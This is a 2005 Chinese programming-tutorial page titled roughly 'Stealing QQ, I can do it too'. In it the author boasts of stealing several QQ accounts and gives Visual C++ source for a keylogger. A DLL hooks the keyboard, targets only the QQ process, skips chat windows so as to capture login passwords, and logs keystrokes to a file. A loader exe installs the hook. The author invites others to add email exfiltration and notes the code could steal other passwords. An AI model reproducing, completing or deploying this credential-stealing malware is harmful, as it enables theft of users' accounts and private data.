中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档 | 网通镜像
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > 编程语言 > Visual C++ > 系统
盗QQ,我也会
作者:未知 时间:2005-07-20 14:20 出处:VC知识库 责编:chinaitpower
              摘要:盗QQ,我也会

盗QQ,我也会
作者:LiJing

下载本文配套代码

这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,所以一直没机会投稿,现在暑假了,有大把的时间。这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。
程序分两部分:

一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)

BOOL DllExport b_Focus()
{
	HWND hWnd;
	GUITHREADINFO* Info = new GUITHREADINFO;
	Info->cbSize = sizeof(GUITHREADINFO);
	if(::GetGUIThreadInfo(NULL,Info) == 0)	//当前线程的信息。
		return FALSE;
	hWnd = Info->hwndCaret;	//那个闪动的光标的控件
	if(hWnd == hcaretWnd)
	{
		return TRUE;
	}
	else
	{
		hcaretWnd = hWnd;
		return FALSE;
	}
}

LRESULT DllExport   CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	if(::GetCurrentProcessId() != GetQQ())
		return CallNextHookEx(hkb, nCode, wParam, lParam );
	HWND H_wnd = ::GetForegroundWindow();
	char sTitle[255];
	CString ss;
	::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
	ss = sTitle;
	int n = ss.Find("发送消息",0);
	int m = ss.Find("聊天室",0);
	if(m >= 0 || n >= 0)
		return CallNextHookEx(hkb, nCode, wParam, lParam );

	if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
	{
		CString sName;
		BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1)如果shift按下
		if(b_Sft)
		{
			switch(wParam)
			{
			case ''1'':sName = "!";break;
			case ''A'':sName = "A";break;
			}
		}
		else
		{
			switch(wParam)
			{
			// 0~9	
			case ''1'':sName = "1";break;
			...
			// A~Z
			case ''A'':sName = "a";break;
			...
			}
		}
		//数字键

		switch(wParam)
		{
 		case VK_BACK:sName = "~";break;
		...
		case VK_NUMPAD1:sName = "1";break;
		...
		}
		//其他键的处理
		char KeyName[50];
		ZeroMemory(KeyName,50);
		GetKeyNameText(lParam,KeyName,50);
		CString KeyNameStr=KeyName;
		if(KeyNameStr=="`")
		{
			if(b_Sft)
				sName = "~";
			else
				sName = "`";
		}
		m_pfile.Open("D:\\ww.txt",CFile::modeWrite);
		m_pfile.SeekToEnd();
		if(!b_Focus())
		{
			CString ss = "\r\n";
			m_pfile.Write(ss,ss.GetLength());
		}
		m_pfile.Write(sName, sName.GetLength());
		m_pfile.Close();

	}
	LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );	
	return  RetVal;
}
具体的请看源代码

二:exe部分,这部分就是加载dll文件,很简单。
static HINSTANCE hinstDLL;
typedef void (CALLBACK *inshook)();//定义回调函数的地址 
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))
{
	instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook"); 
	instkbhook();
}
(完)
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有